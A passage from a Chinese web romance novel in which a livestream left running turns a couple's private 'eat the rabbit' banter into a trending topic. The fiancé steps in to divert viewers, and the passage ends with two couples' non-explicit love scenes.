“怎么,你下次还真准备把我的衣服藏起来逼我就什么都不穿的出来?”许愿伸出手捏住男人的脸,她也不用力,就是爱抚的力道:“你是不是还打算学小流氓在门口吹口哨调戏呢?” 盛景炎随她捏着自己的脸回应:“倒也不是不可以。” 许愿哼了一声,又捏了他一下。 盛景炎也不拦:“阿愿,你知道的,你现在捏了我,我是会从你身上找补回来的。” 哦,懂了。 她捏你,你捏她是吧。 至于盛景炎会捏哪里……那就是一些审核不过的地方了。 许愿报复性的又捏他一下。 “说真的,你以前不是也有没拿换洗衣服直接出来的时候吗,怎么这次又害羞又矜持的。” 许愿已经扑进他怀里,手臂都搂着他的脖子,揪着这个问题不放。 她是真想知道盛景炎为什么突然变的这么容易害羞。 盛景炎顿了片刻,显示叹了口气,声音都闷闷的,许是因为刚洗过澡,好像声音都蒙着一层水汽似的。 “你在直播,我就这么出去如果被拍到了怎么办?” 他还有点委屈似的。 许愿想想也是,正要回一句呢,就听盛景炎声音更委屈了,甚至还带着几分幽怨。 “让你挑件睡衣还找了间兔子装,连内裤都不拿,现在还在这里讨伐我。” 许愿理直气壮的凑过去抓住盛景炎的兔耳朵挼了一把:“谁让你是我男人,我晚上要吃兔子的,穿那东西多余了。” 盛景炎:? 这么直接的吗? 而还在跟许愿连线直播的温栩栩默默的看着直播突然就进入了深夜频道,她开始反思,到底是哪一步错了呢?怎么就上高速……啊不,怎么就突然航空母舰上太空了呢? 高手,她的阿愿是高手,简直零帧起手啊。 弹幕已经要疯了。 许愿头一次开直播,她挑了音乐播放音乐以为能遮盖住他们说话的声音,结果没开,静音也没开,所以她和盛景炎的对话直播间从头听到尾,简直让人听着就面红耳赤。 许愿和盛景炎的CP粉整个都疯掉了。 {我知道你们真情侣猛但也没想到这么猛的啊!} {救命他们两个也太可爱了吧!盛总委屈的不想穿奇奇怪怪的小动物睡衣,许总就在这里撒娇威逼利诱,我真是……谁能懂啊,最开始真没想到许总说去救小动物会是盛总,我以为这俩人在家里面养了宠物要喂宠物的!谁知道小动物是兔子盛景炎!} {许总是真的很宠盛总了,还亲自吹头发,吹头发的时候都黏黏糊糊的,到底谁说他俩因为利益凑到一起的?你管这叫没爱?你管这叫商业“联姻”?他俩都没爱娜世界还有童话吗?} {嘿嘿,“你全身上下我哪里没见过”嘿嘿,他俩晚上一起睡觉,嘿嘿,一起睡觉,嘿嘿} {妈惹盛总未免太守男德了,合理怀疑他俩单独在家盛总真的曾经不穿衣服出来过,但这次担心被拍到才找许总求救!} {可惜许总好坏啊,不仅不给拿内裤还挑了兔子睡衣,啧。} {啧,这很坏了。} {谁说这兔子睡衣不好了!这兔子睡衣可太好了!谁说这CP假了!这CP可太甜了!} 直到直播间众人听到许愿的豪言壮语说今晚要吃兔子。 弹幕直播间先是静默了很久,然后飘过的是满屏幕的问号。 {??} {啊?} {晚上吃什么?} {兔子……盛总……哈……你们真会玩啊} {不是?许总也不像是会直播的时候说这些虎狼之词的人啊!救命她知不知道自己说的话我们全都能听到!} 温栩栩看到这条弹幕,眼角狠狠一抽。 啊这。 阿愿不会以为自己开了静音但实际没开静音吧。 温栩栩顿了半晌,然后翻出手机就要去提醒许愿,结果许愿的手机先一步响起来。 是段星河的电话。 才接通就听到韩城嚷嚷:“你俩不厚道啊!刚在华庭聚完你们还开小灶!我也要吃兔子!给我多来几个麻辣兔头!” 韩城这一嗓子,属实声音很大了。 温栩栩听到这话,嘴角都抽动了下。 第479章 许总背着我们吃这么好吗? 韩城他真的是有脑子有理智的吗?他到底知不知道自己在说什么啊,救命! 温栩栩满脑子都是感叹号。 别说温栩栩懵了,就是许愿也懵了。 “谁说我们要吃兔子了。” 韩城扯嗓子喊:“你不都说了你今晚要吃兔子吗!都上微博热搜了啊!全网都知道你今晚要跟盛景炎一起吃兔子了!带我一个啊!我也要吃兔肉!” 韩城喊这一嗓子不要紧,但是给许愿喊的一哆嗦。 什么啊?怎么就全网都知道她要吃兔肉了?她自己怎么不知道她打算吃兔子?而且她也不爱吃兔肉啊! 等会儿。 她是不是忘记了什么? 她好像还开着直播呢? 她之前最后一句话是说了什么? 【谁让你是我男人,我晚上要吃兔子的,穿那东西多余了。】 许愿眼前一黑,脑袋都嗡嗡作响。 所以韩城这通电话真的打的非常及时,让许愿能明白现在的一切都处于直播状态。 她对外一直都是温柔优雅的,可面对盛景炎的时候一直都是另一面。 她自己单是想想就觉得浑身都起鸡皮疙瘩了。 像是娇妻,声音都是黏黏糊糊的,甚至还撒娇,还口出狂言要吃兔子。 啊? 吃什么兔子? 盛景炎就是那个兔子。 那不是当着直播众人的面说自己今晚要睡盛景炎吗。 很好。 今晚看过直播的人以及刷到热搜的人都会知道她今晚和盛景炎会“睡觉”了。 是的,动词的那个睡觉,还是她主动。 许愿自己都没有发现,她的身体一阵摇摇晃晃,然后在盛景炎担忧的声音中像是软绵绵的面条一样,直接倒在他怀里。 许愿恍恍惚惚茫茫然然。 她的脸好像在不知不觉中丢光了呢。 许愿眼睫一阵轻颤,本就看起来非常脆弱的他,这一刻给人的感觉更加柔弱。 盛景炎扬了下眉搂抱住怀中的人:“阿愿,还好吗?” 许愿缓缓从恍惚中回过神,看着盛景炎,那双莹润的黑眸里仿佛都带着几分羞恼和无助:“我,我想去外星种地……” 许愿心态彻彻底底崩出了星辰大海,自己都不知道自己在说什么,满脑子都是完了,完了,完了…… 她完了……她的形象丢光了。 这一刻,别说是直播间观众,就是在现场的盛景炎都没忍住,“噗”地笑出声。 “为什么还要笑我!” 许愿伸手捶在盛景炎胸口。 “都怪你啊,都怪你不直接出来要我送睡衣,如果你不让我送睡衣我就不会暂停直播,不暂停直播几不会胡说八道……现在所有人都知道我今晚要睡你了。” 太可怕了。 盛景炎无奈的握住她乱捶的手。 许愿却已经在自闭了。 许愿赖在他怀里生无可恋:“阿炎,我完了。” 盛景炎:“……” 盛景炎沉默了一会儿,想到之前自己和许愿的对话。 嗯,好像是有点完。 盛景炎安慰地摸了摸他的头,说道:“阿愿,没关系的,这不算什么,大家都会忘记的。” 许愿顿了下,眼底重新燃起光亮,询问:“真的吗?” 盛景炎心虚的移开眼,昧着良心说:“是的。” 许愿:“……你这话说的好勉强。” 那确实没办法不勉强。 “我还是去火星种地吧……” 盛景炎沉默了下,说道:“阿愿,我陪你一起去种地。” 许愿的身体又摇晃了下。 所以说,就连盛景炎都认为她已经丢人丢到需要去火星种地的地步了吗? 许愿一把扑入盛景炎的怀中,特别委屈。 她甚至还在心里安慰自己,人生很短暂,忍一忍,一生就过去了。 “以后别人想起我都会说我是那个晚上要跟爱人直播搞黄色的人了。” 她委屈。 她身上那么多标签,才不想要这种标签。 盛景炎哄她:“我们只是晚上想吃兔肉了,晚上想吃个宵夜不是很正常的事吗?山城那边的人都爱吃兔肉。” 许愿立刻点头,给自己找到了个完美借口似的。 “对,我只是想吃兔肉。” 韩城的通话就一直没挂断,他刚才也不知道许愿为什么反应那么奇怪,心里还说就吃个兔子的事儿怎么跟天塌了似的。 韩城特别好学的去翻看了微博,瞬间就明白了前因后果。 这会儿听到盛景炎哄许愿说只是想吃兔肉,韩城又来一嗓子。 “你们吃什么兔肉?你眼里盛景炎不是兔子吗!你今晚要吃兔子不就是要跟盛景炎亲热吗!还吃兔子呢,我还以为能过去蹭口吃的。” “你俩有毛病吧,秀恩爱就算了,怎么还直播秀恩爱?” “怎么你俩以后亲热都要先开个直播告诉所有直播间网友你们要亲亲抱抱举高高然后让他们给你们在旁边加油打气计时间吗?” “你俩疯了吗?” 韩城一顿输出,许愿破防了。 是的,自打跟盛景炎在一起后,还没人能让许愿真正无地自容的破防。 但韩城做到了。 “我……我想去外星种树……”许愿扑进盛景炎怀里,盛景炎已经把韩城电话挂了哄她:“没事没事,我已经把韩城拉黑了,你听他在那里狗叫,韩城那人嘴多毒我们都知道,舔下嘴唇都能把自己堵死的狗,不用理他,他在胡说八道。” 直播还开着呢,许愿却不想直播了,他抱住盛景炎的脖子声音都软下来。 “我不想直播了,我想睡觉。” “好,那就睡觉。” 盛景炎全都由着她,跟着许愿回了主卧,她似乎是真的困了,沾床就睡了。 盛景炎失笑,忍不住伸出手轻轻抚摸着许愿的眉。 “怎么傻乎乎的样子都这么可爱。” 他说着指尖抚摸着她红润的唇瓣。 直播还没关,他轻叹一声操控着轮椅回到客厅。 直播果然还开着,直播间的人数不减反增,看戏的人像是越来越多了。 盛景炎入境的时候弹幕还在一直刷着打赌许愿还会不会回来继续直播,结果就见镜头闯入了一张端庄俊美的面容。 弹幕静了一瞬开始疯狂刷屏。 {不是?许总背着我们吃这么好吗?} 第480章 许总也吃太好了 盛景炎出现在直播间 夜幕低垂,城市的灯光如同繁星点点。 有人刚刚结束了一天的忙碌,回到家点开微博打算刷刷新消息,看到一个爆的词条。 #许愿未婚夫盛世美颜# 啊? 许愿她知道,盛世的总裁,但是许愿望未婚夫盛世美颜?是不是哪里搞错了? 对方点进直播间的瞬间只觉得整个人眼前一亮,心跳陡然加速。 镜头中的人是盛景炎。 他的出现瞬间让整个直播间安静了几秒钟,随后,弹幕如潮水般涌来,几乎淹没了整个屏幕。 他离的有些近,直播间的观众能观察到他的五官犹如精心雕琢的艺术品,每一个细节都恰到好处,完美无瑕。 他的眉骨高挺,线条流畅,像是用最细腻的笔触勾勒而成;一双深邃的眼眸仿佛藏着星辰大海,那双眼睛像是闪烁着星光的桃花眼却又难以捉摸的神秘感,让人不由自主地陷入其中。鼻梁挺直,嘴唇微微上扬,带着一抹若有若无的笑意,既冷峻又温柔,仿佛能融化人心。 额前几缕黑发随意散落,更添几分随性和不羁。无论是正面还是侧面,每一个角度都让人无法移开视线。 弹幕赞美的言论不断 {不是?许总一直背着我们吃这么好吗!} {这颜值也太惊人了吧!} {我的天,盛总的颜值也太高了吧!} {感觉心脏都要停跳了……} {求问这是什么滤镜?!美颜开得这么厉害吗?} {这颜值,简直是行走的荷尔蒙炸弹啊!} {我愿意为了看一眼盛总,熬夜到天亮!} {救命,看到盛总这颜值我疯狂的希望盛总能够出道拯救内娱啊!} 随着盛景炎的出现,弹幕上的赞美之词越来越多,几乎每一秒都有新的评论涌现。 盛景炎长得好看这是公认的,她们也不是没见过盛景炎的照片。 但是照片和视频和本人是完全不一样的感觉,这种怼脸的颜值暴击是直播间观众完全接受不来甚至心脏都开始狂跳。 盛景炎似乎对这一切并不在意,只是静静地坐在轮椅上,偶尔扫视一眼屏幕,嘴角挂着淡淡的微笑。 但是他的存在仿佛自带磁场,吸引着所有人的目光,让人无法忽视。 温栩栩看着直播间弹幕忍不住捏了捏眉心,她觉得自己口干开了瓶矿泉水喝了润润嗓子开口道:“盛景炎,你不让阿愿来直播你出来是什么意思?大晚上的找什么存在感呢,把直播间还给阿愿。” 盛景炎看了下直播连麦的另一个小框,淡淡道:“阿愿对你这么好,你为什么要害她。” 温栩栩一口气没上来;“我怎么害阿愿了,我……” 话都没说完,温栩栩卡壳了。 温栩栩也不是傻子,刚才纯粹是看到盛景炎出来直播,想到盛景炎抢了她超好的阿愿又看到弹幕一群人夸他想爬床的没忍住阴阳了一句。 这不是很正常嘛?任何人都会觉得闺蜜的狗男友配不上她!盛景炎再好也不行。 她家阿愿才是天下第一好。 但显然温栩栩脑子一热忘记了之前直播间发生吃兔子事件,反应过来后沉默了。 啊……这。 温栩栩迷之沉默,弹幕疯狂刷屏。 {栩栩笑死我了!像极了我看到闺蜜男友后阴阳怪气指指点点的样子哈哈哈哈} {栩栩看到盛景炎脸色瞬间就变了,我觉得栩栩的眼神都在说话,好像都已经无形的伸出手揪住盛总的脖子摇晃大喊“还我闺蜜!还我闺蜜!太形象了。} {盛总你太过分了啊!许总为什么不来直播了,我们这么可爱!} {嘶……吃兔兔事件……} {嘶,兔兔本人盛总就在直播间} {打算去外星种地的许总不会真的emo了吧} {噗哈哈哈救命如果我是许总我要尴尬死了,脚趾都能抠出一座城堡了,芭比城堡都能是我建造的。} 眼见弹幕的评论越跑越偏,温栩栩面色沉痛开始想转移话题不想让这群人继续提什么吃兔兔事件。 温栩栩义正言辞仗义执言维护许愿的福利开口道:“你看你,直播也就算了,为什么要穿成这样直播,你还带兔耳朵,这……这是阿愿的独家福利!” 盛景炎:“?” 在观看直播的黎云笙眼角也抽了下。 就这么一会儿功夫,温栩栩也变这么抽象了。 “阿愿给我拿的。”盛景炎皮笑肉不笑;“你羡慕吗?她只买给我拿给我,你没有呢。” 盛景炎故意似的慢吞吞的语气温柔的开口。 温栩栩听到这话都要撸袖子了。 嗨呀她这暴脾气。 温栩栩开口;“阿愿给我买过很多玩偶!” 盛景炎哦了一声;“我送了她一整间房那么多的玩偶。” 温栩栩哼了一声:“阿愿跟我一起去过游乐园!” 盛景炎又嗯了一声;“我们一起看过日出和烟花,游乐园的话,感谢你的提醒我们会去的。” 温栩栩已经跟盛景炎直播杠起来,弹幕的观众全都在哈哈大笑。 {来了来了,像极了我和闺蜜男友的样子……不要演我啊!} {真的很像在争风吃醋啊!} {闺蜜结婚后我去闺蜜家里面就是这样的,一直在比,我一直呛我们这样我们那样,闺蜜老公笑眯眯回我“我们晚上一起睡觉哦。”可恶,栩栩跟盛总杠什么,杠到最后他俩还是要一起睡觉的!他们还要晚上吃兔兔!} {栩栩啊!宝贝啊!你不要再跟盛总吵了,吵到最后盛总难过了你猜谁最心疼!} {肯定是许总心疼……} {吵赢了有用吗,最后还不是许总哄……} 温栩栩看到弹幕飘过的话眼前都紧跟着一黑。 是啊,她吵这些有什么用? 俩人最后还不是要睡一个被窝! 温栩栩撇了下嘴不想跟盛景炎继续杠了。 “阿愿睡了没有,阿愿睡了你就去陪她睡觉,不要在这里继续直播娱乐大众了。” 她提起许愿,弹幕又开始飘起来“吃兔兔”。 盛景炎捏了捏眉心,语气都透露出几分无奈。 “温栩栩小姐,其实你大可不必一直提起阿愿。” 更不用一直把阿愿跟“睡觉”这个词连到一起。 不然吃兔子这梗真的过不去了。 第481章 欠教训 {吃兔兔,今晚就要吃兔兔!} {12345上山吃兔兔!} {谁说这兔难吃的,这兔可太好吃了,这兔太棒了!} {嘿嘿,吃兔兔,嘿嘿,吃几次兔兔啊~} {盛总,可以了可以了,停止直播吧,我们更希望你可以跟许总早点吃兔兔。} 弹幕不停刷屏,满屏的吃兔兔。 盛景炎默默的看向另一个直播框的温栩栩。 温栩栩捂脸。 很好,她终于知道自己不该一直提到阿愿了,不然这些直播间观众会一直提到吃兔兔。 “各位,阿愿已经很害羞了,所以希望各位不要再一直提到这件事。”盛景炎开口:“我稍后会在微博上做个抽奖活动,会抽三十人送十万看在奖金的面子上这件事翻篇吧。” 弹幕静默了片刻。 {多少?你说你要抽多少?} {三十个十万?} {各位静静,盛总就是抽了块他最便宜的手表……} {反正我这么非也不可能抽中我!就要吃兔兔!就要吃兔兔!} 温栩栩也没想到盛景炎会来这么一出,想要阻止的时候已经晚了! 花这笔钱搞这事儿这群唯恐天下不乱的会给你重新再开一个词条的啊! 果然,不出温栩栩所料,新词条出来了。 #盛总为了不让人吃兔兔抽奖百万!# 什么神经病词条,为了不让人吃兔兔弄抽奖,这样的标题让人看了更好奇了啊! 越来越多的人开始搜索吃兔兔到底是个什么梗了。 这意外的走向是盛景炎没想到的,眼皮都跟着跳了下。 这么说来,一时半会儿这件事没办法解决了。 他想到了个好主意。 盛景炎目光落到温栩栩脸上,意味深长的勾唇像是笑了。 温栩栩被他这笑容笑的内心发毛,然后就听到盛景炎开口道:“你们想听娱乐圈的八卦吗?” 盛景炎蠢吗?当然不蠢。 所以他知道用娱乐圈的劲爆大瓜来盖住许愿不喜欢听的吃兔兔热搜,省的许愿醒来看到这热搜又要晕晕乎乎说自己没有睡醒躺回去,可怜可爱的,啧,他怜爱。 弹幕飞速刷起想看。 {已经猜到盛总为什么突然提起娱乐圈八卦了。} {为了压住吃兔兔盛总也是很拼了哈哈!} 盛景炎看到评论区被自己控制住了才再度开口;“娱乐圈内有位爆红的女爱豆其实已经隐婚了。” 温栩栩;? 温栩栩瞪大眼睛。 一直在看直播的黎云笙也满头问号。 狗东西搞什么? {哈哈哈看栩栩那震惊的样子,像是不敢置信被吓到了,估计没想到有女爱豆胆子这么大隐婚吧!} 温栩栩看到这条飘出来的弹幕眼角狠狠一抽。 谢邀,她就是这个胆子大隐婚的女爱豆。 她哪里是不敢置信啊,分明是被吓得不敢大喘气,生怕盛景炎分分钟给内娱一个大爆料。 盛景炎声音淡淡的看着很温和的开口:“大家可以猜猜看这位女爱豆是谁。” 评论区已经开始刷屏猜测那位女爱豆女明星是谁了,但就是没人猜会是温栩栩。 在所有人抓耳挠腮猜测那人会是谁的时候,盛景炎终于开口说了个女爱豆的名字,不是温栩栩,是一位圈内风评还不错的女爱豆,这位女爱豆刚好最近想参加结婚综艺打算自己曝光呢,盛景炎就是知道这事儿,所以才提的。 弹幕满屏都是这位女爱豆的八卦,果然没有人再提许愿的“吃兔兔”了。 盛景炎又花钱降了热搜,吃兔兔的词条已经下来了。 温栩栩现在才看明白盛景炎的意思,她忍不住啧了一声,心道盛景炎人也还行啊。 已经很晚了,盛景炎找了个别的话题关掉了直播,温栩栩也关了直播,一回头就对上男人沉沉的目光。 “我先去洗澡!” 她撂下这句话,小跑进了浴室。 黎云笙挑了下眉没打算拦她。 温栩栩十分满意的又泡了个澡还特地选了男人经常用的那款沐浴液洗发水,身上的味道都跟他相仿。 阿愿晚上都要吃兔子了,她也不能落后呀。 温栩栩又给自己点了个赞,洗过澡后偷偷去隔壁偷拿男人的白衬衫套在身上,又带了点别的小玩意儿挂身上,小跑回来还能听到身上有小铃铛在响的细碎声音。 重新回到房间里,双腿跪坐在床头眼睛里的媚意都要溢出来,十分豪放不止矜持为何物的勾着他:“老公,我头发还湿着呢,帮我吹头发好不好。” 她一动小铃铛就响,偏她还一副眉眼寒春却又天真的小模样,十分……欠教训。 黎云笙黑眸逐渐深沉,他本来觉得温栩栩这阵子录制节目太累了恐怕没那心思做这种事所以才想让她好好休息两天再说其他的,不过看来他的小狐狸是有点迫不及待了。 他果然接过吹风机帮她吹着头发,头发吹到半干温栩栩便嘤咛一声握着他的手作乱,男人呼吸急促揉了一把,触及那柔软之处挂着的小铃铛眸中带了几分火色,动作颇有些急切。 吹风机被关掉随着两人动作砸到地板上发出不大不小的声响却也不能惊动床畔彼此交缠的两人。 他们两人之间当然是不存在什么爱的,但彼此都熟悉了对方的身体,一段时间没有睡在一起自然对彼此都有渴求。 黎云笙眸光幽深在她身上落下一个又一个的吻,她整个战栗起来,太长时间没有经历这时身体十分敏感,喉间发出小声的呜咽又被男人堵住唇舌亲吻着,逐渐沉溺在这场情爱之中。 倏地温栩栩身体绷直,男人“嘶”了一声捏了下她的细腰,“放松。” 他嗓音低哑,一听就沉浸在爱欲之中,此刻压低声音在她耳边喷洒着的气息更令她浑身发麻想抱住他,逐渐陷入其中。 …… 盛景炎关掉直播回到房间的时候许愿已经睡得很沉了。 他才躺到床上,许愿就已经寻着热源贴过来,在他胸口蹭了蹭找了个舒服的位置。 她唔了一声,声音仍然软软的。 “盛景炎,晚安~” 第482章 彼此占便宜的关系 “晚安。” 盛景炎微微垂眸,在她唇边印下很轻的吻。 他说了晚安,许愿却突然醒了,她忍不住伸出手捏着盛景炎的兔子耳朵挼了吧,然后想到什么似的丧气的低垂下头,蔫哒哒的。 显然是又想到吃兔子那事儿。 “这个热度已经降下去了,没有人提这个了。” “现在全网都在讨论女爱豆隐婚的事。” 盛景炎了解她,只是看她此刻的表情就明白她在担心什么。 许愿有点不相信。 “真的?” “真的。” 盛景炎点了下头,很认真的样子。 许愿不太信,盛景炎直接给她看现在的热搜界面,果然没有人再提吃兔子的梗了,真的在讨论女爱豆隐婚的事。 许愿总算是放下心来,她眼睛亮了亮,双手捧住盛景炎的脸凑过去亲了一口。 “所以今晚还吃不吃兔子?” 许愿说;“我还挺喜欢的……” 只要网络上那群人不添乱她就能开开心心的跟盛景炎继续黏黏糊糊亲亲我我。 其实许愿并不是多在乎网络评论的人,主要是这次的事确实有点尴尬,太多人都知道她跟盛景炎的事让她有那么一点点窘迫。 现在知道热搜换成别人,她自然不慌了。 盛景炎失笑。 真正在一起后许愿对这种事总是大大方方的,有点可爱。 盛景炎眸光暗了几分。 见她还是这副模样,便也不忍了,唇紧压着她,双手找寻到她柔软的小手,与她十指纠缠,将她的双手也按到了头的两侧,口沫交融,彼此的呼吸都略显急促。 许愿哪想到盛景炎会突然就这么凶猛的攻击过来,双手无力,指尖抖了抖,便曲起了手指,轻轻地握住他的手,有些无力的任他这样吻着。 好半晌,他的唇才算是微微放松,与她拉开了寸许的距离,看着她唇瓣红肿,又情不自禁的,一下下的啄着她的唇,从唇腹到唇角,那样的爱不释口。 “还要继续吗。”他捏了捏她柔软的掌心,才有些恋恋不舍的松开问道。 许愿这会儿还喘着粗气,带着馨香的如兰气息洒在盛景炎的唇上。 他的喉咙不住的上下滑动,看着她的那双黑眸上覆着一层幽暗的雾气,似乎许愿说点什么他都会扑上去似的。 许愿有些被他的目光烫着了似的,慢慢的垂下睫毛,却正好看到他给予的反应,眼尾都跟着颤了下。 他顺着她的视线低头看着自己的状况,轻笑,因接吻而有些微肿的唇此时看着特别性.感,让许愿很想再次吻上去。 似乎是感受到她眼底的回应,盛景炎握着她的手轻轻一扯,另一手伸过去,扣着她的后脑,便重新吻住她。 许愿颤了颤,原本只是松松的贴着他手背的手指,随着他的侵入,猛地收紧,也抓紧了他的手。 指尖触摸到他手背上清晰的骨骼,那么有力。 只觉得他的舌勾卷着她的力道轻轻地,扫的她有些痒。 许愿轻轻地哼哼了两声,却又反过来被他吻得更深更重。 等她终于喘息着眼睛都发红,盛景炎才松开她。 薄烫的唇也离她的唇仅有寸许,看着她被吻得润满红艳的唇,便又轻轻地啄吻了一下。 “还要继续吗,真的不打算休息?”说道,骨节分明的长指始终捏玩着她的指尖。 许愿听着执起他的手,在他的骨节上亲吻,当他的手指微弯,骨节微微的凸起,样子特别的优雅好看。 盛景炎深邃的黑眸里染上点点的光,染着笑意看她;“所以这是要继续的回应?” 许愿的脸唰的涨红了,在他目光下无措的也不知道怎么闪避。 他这会儿看她的样子,实在有点调侃暧昧的意思。 许愿没好气的咕哝了声,便打算收回手,却又被盛景炎紧握住不放。 “你今晚话很多,到底要不要继续了。” 她红着脸问。 当然继续,为什么不继续? 她手穿过他的胳膊,绕住他雅致的大手,盛景炎笑看着她,黑眸此时弯弯的,带着明显的柔意。 许愿脸颊泛粉的面对着他,凑过去下巴搁在他的肩上,对着他耳边轻轻地叫了声:“老公,你到底还要不要继续了。” 这声老公,叫的盛景炎从头到脚都软麻软麻的,连带她说话时轻轻吐出的气息,也洒在了他的耳垂和耳蜗上,痒痒酥酥的。 盛景炎猛然将她搂进怀里,带着笑的唇抵着她耳垂轻轻地吻着开口:“怎么突然这么叫我?” “你不喜欢?还是说你没打算跟我结婚?” 许愿眼睛危险的眯起来盯着他,好像他敢说出一个“不”字就要凑过去咬他似的。 “当然喜欢,我甚至想让你一整晚都在我耳边这么叫。”盛景炎学者她的样子也凑到她耳边呢喃开口。 被他这突然而出的话红了脸颊,耳根也被他磨得烫,在他的唇下都要冒烟了。 他熨烫的气息拂在她的耳朵上,烫得她酥酥的颤。 “不要脸!”许愿小声无奈的说。 盛景炎嘴角轻轻勾着,发出点嗤笑声,双唇便去蹭她的鼻尖。 “盛景炎——”许愿刚叫了一声,就被盛景炎捏了一下手。 “刚不还叫老公呢吗?”盛景炎蹭着她的唇,边说边磨,又稍稍的偏移些,不住的吻着她的唇角。 许愿被他吻得浑身软软的。 刚才那声老公看起来叫的挺干脆的,其实是许愿故意黏黏糊糊叫出来的。 可叫出来才感觉特别不好意思,很不适应,总觉得特别肉麻,还不如直接叫他的名字来的自然。 “还是……有些不习惯。”她小声说。 盛景炎看着她,那眼神温柔的一塌糊涂,看的许愿一点儿力气都生不出,沉溺在他温柔的目光下。 “多叫叫就习惯了。”他雅致有力的手掌带着烫人的温度轻轻捧着她的脸颊,拇指在上面慢慢的磨来磨去。 他看着好像真的很喜欢听她这么叫。 她伸出柔软的食指,戳了戳他的胸膛:“你好像在占我便宜?。” 盛景炎扬眉捏了捏她的脸:“我们两个不就是彼此占便宜的关系?” 第483章 盛景炎,我想你了 盛景炎就在她上面看着她,呼吸可闻。 有些烫人的手握住她戳他的手,捏了捏她的指尖,放到唇间轻咬了一下, “现在是互相占便宜的关系,以前可不是。” 许愿似乎在翻旧账。 “当初不知道是谁逮着机会就亲我。”许愿回想起当初,真是又好气又好笑的。 这男人当起牛皮糖来,缠功也是一流的。 盛景炎的笑容渐渐地收起,黑眸涌动着浓浓的情潮,看着近在咫尺的嫣红脸蛋,晕红的脸颊上肌肤细腻的像陶瓷。 他将她的手压在了脸旁,低下头距离着她的脸颊越来越近,熨烫的气息烫着她的脸颊。 许愿呼吸都乱了,有时候忘了呼吸,有时候又呼吸的格外急促。 看着他越来越近的脸,好看的一塌糊涂。 他低笑回应:“没有办法,阿愿太受欢迎了,如果我什么都不做,阿愿迟早会忘了我的。” 许愿的确很受欢迎,许愿和傅京礼离婚后多少人都凑到她身边? 不说远的,就是江惊蛰和沈略都有这种心思。 至于薛酒,薛酒看着没这心思,但是也绝对是忠犬,类似于许愿指哪儿打哪儿的人。 许愿身边从来不缺优秀的男人。 许愿想翻旧账,却被盛景炎先发制人制裁似的。 不行,她不能让盛景炎占上风。 她低声抱怨:“你不是一样能招女人?唐家小姐你忘了?人家可是追你追了好多年。” 她这话却让盛景炎低低的笑起来,声带在喉间震动,发出哝哝哑哑的低磁声音,薄烫的双唇贴上她脸颊上细腻的肌肤,印吻着,唇角划开,连带着她也能感觉到印在自己肌肤上的双唇划出的弧度。 他的笑声也印在她的肌肤上,像是在她的肌肤上跳动似的,听得许愿的心跳都乱了,特别的心动。 “我如果那么招女人,当初怎么就没把你招过来?还要一点点的把你诱捕过来。”他薄烫的唇擦着她的脸颊,嗓音低哑的轻声说。 他的唇,他的声音,都像是磨的她的皮肤痒痒的,一直痒到了心里去。 她像是顿了下,抬眸看向面前的男人。 她好像真的在思考。 是啊,当初为什么没有喜欢上这个人呢? 如果真的只喜欢过盛景炎,身边一直只有他的话,那她是不是会很幸福?会一直幸福。 “盛景炎,我爱你。”许愿任由他的唇贴着她的脸颊,而她的双唇便因为说话而开开合合的,轻轻地磨着他的下巴。 盛景炎的双唇突然松开,抬头看她,她瞬间就看到男人眼底的浓烈情意。 他黑眸目光那么浓那么深,灼灼的目光,藏匿着深情。 盛景炎没回答,只是带着点凶狠的吻住她的唇,卷着她所有的甜蜜味道。 双手从她的背挤进去,便将她狠狠地搂住,几乎是紧紧地嵌在自己的怀里,甚至连她的胳膊都一起锁在了自己的双臂里,让许愿只能无助的像个娃娃似的,那么娇柔的挤在他的怀里,被他吻得头往后仰。 他烫人的唇沿着她的嘴角磨,一路轻吻着到她的耳朵,“我比你爱的更多。” 许愿被他这样弄得又酥又痒的发颤,他结实的双臂仍然牢牢地锁着她,将她困在怀里。 烫人的唇吻着她的脸颊,吻到她的耳朵,颈子,又慢慢地磨到颈后,到肩,到洋装躶露在外的颈背。 许愿被他手掌摸过的地方,肌肤都在不自主的收缩。 被他这样汹涌的吻着,仿佛已经要被他蔓延出来的情感所淹没。 …… 疾风骤雨终于停歇,许愿躺在床上,看着身旁的男人,不知为何内心好像涌上一股酸涩之意。 她仅仅的握着盛景炎的手,像是十指紧扣。 “盛景炎,我好想有点想你。”她说;“不,不是有点想你,是很想很想你。” 盛景炎像是预料到什么一般笑着开口:“我就在你身边。” 情爱过后内心涌动的那几份怅然让许愿内心酸涩。 她看着身旁的男人,脑海中闪过的却是盛景炎曾经意气风发的模样。 那时还能站立能奔跑甚至可以单手将她抱起的盛景炎,那个在镜头前肆意笑容的盛景炎,那个面对记者毫不怯懦将她完全护在身后的盛景炎。 她真的很想很想。 “盛景炎。”她喉间发涩,男人却似乎猜到她要说什么,重新吻住她。 许愿推了推他,他却不放,双唇始终贴着她的唇。 直到能感觉到他放松了力道,许愿才重新看向他,嗓音都带着点哑意。 “我很想很想那时的你。” 她看着他,喜欢着他,爱着他,爱到心疼了。 好像这样汹涌的情感只是对着盛景炎。 她觉得自己真的有点恋爱脑,只有面对他时才会如此,像是愧疚又像是陷入回忆。 盛景炎顿了下,突然伸出手捧住她的脸。 “你说过能让我站起来,我一直都相信。”他重新吻住许愿:“那个我会重新回到你身边。” 许愿眼眶都有点热意,激烈的情意在此刻倾洒,再度滚作一团仿佛只有更热烈的爱意才能宣泄此刻的情感。 …… 天快亮了。 身旁的男人已经陷入沉睡。 许愿缓缓从床上爬起,看到身上是他留下的那些痕迹眼底都带着柔色。 她随意的拿了件床头男人的衬衣披在身上,俯身在男人脸上轻轻的吻了下,方才离开房间。 她来到书房,站在窗边,能感受到些许冷意。 她看到了桌上的烟盒。 很久不抽烟了,自从两人真正在一起后两人都没在抽过烟,但此刻她心绪不稳,点了根烟抽了口,压着心头的燥意。 目光落到窗外。 清晨的第一缕阳光,如同轻柔的金纱,缓缓地从东方的地平线升起。 此时,天边还残留着几抹淡淡的晨曦,将天空染成了一片柔和的橙红色。 许愿静静地坐在书房的窗前。 冬季的早晨总是来得特别晚,空气中弥漫着一丝清冷的气息,窗户上凝结着薄薄的一层霜花带着点冰冷却又柔美的感觉。 许愿轻轻推开窗户,一股凉意扑面而来,但那并不刺骨的寒冷反而让她感到格外清醒。 她深吸一口新鲜的空气,仿佛能感受到每一个细胞都在这一刻被激活,而有些事好像也在此刻能做下最终的决定。 她想让盛景炎重新站起来。 不。 她是一定要让盛景炎重新站起来,不是想,是一定要。 第484章 他们是人吗?他们是工具 海外小岛。 苏青莲选了个风景适宜的小岛,国内这个季节寒风肆虐,她的小岛却是四季如春。 她对自己和唐清江想来大方。 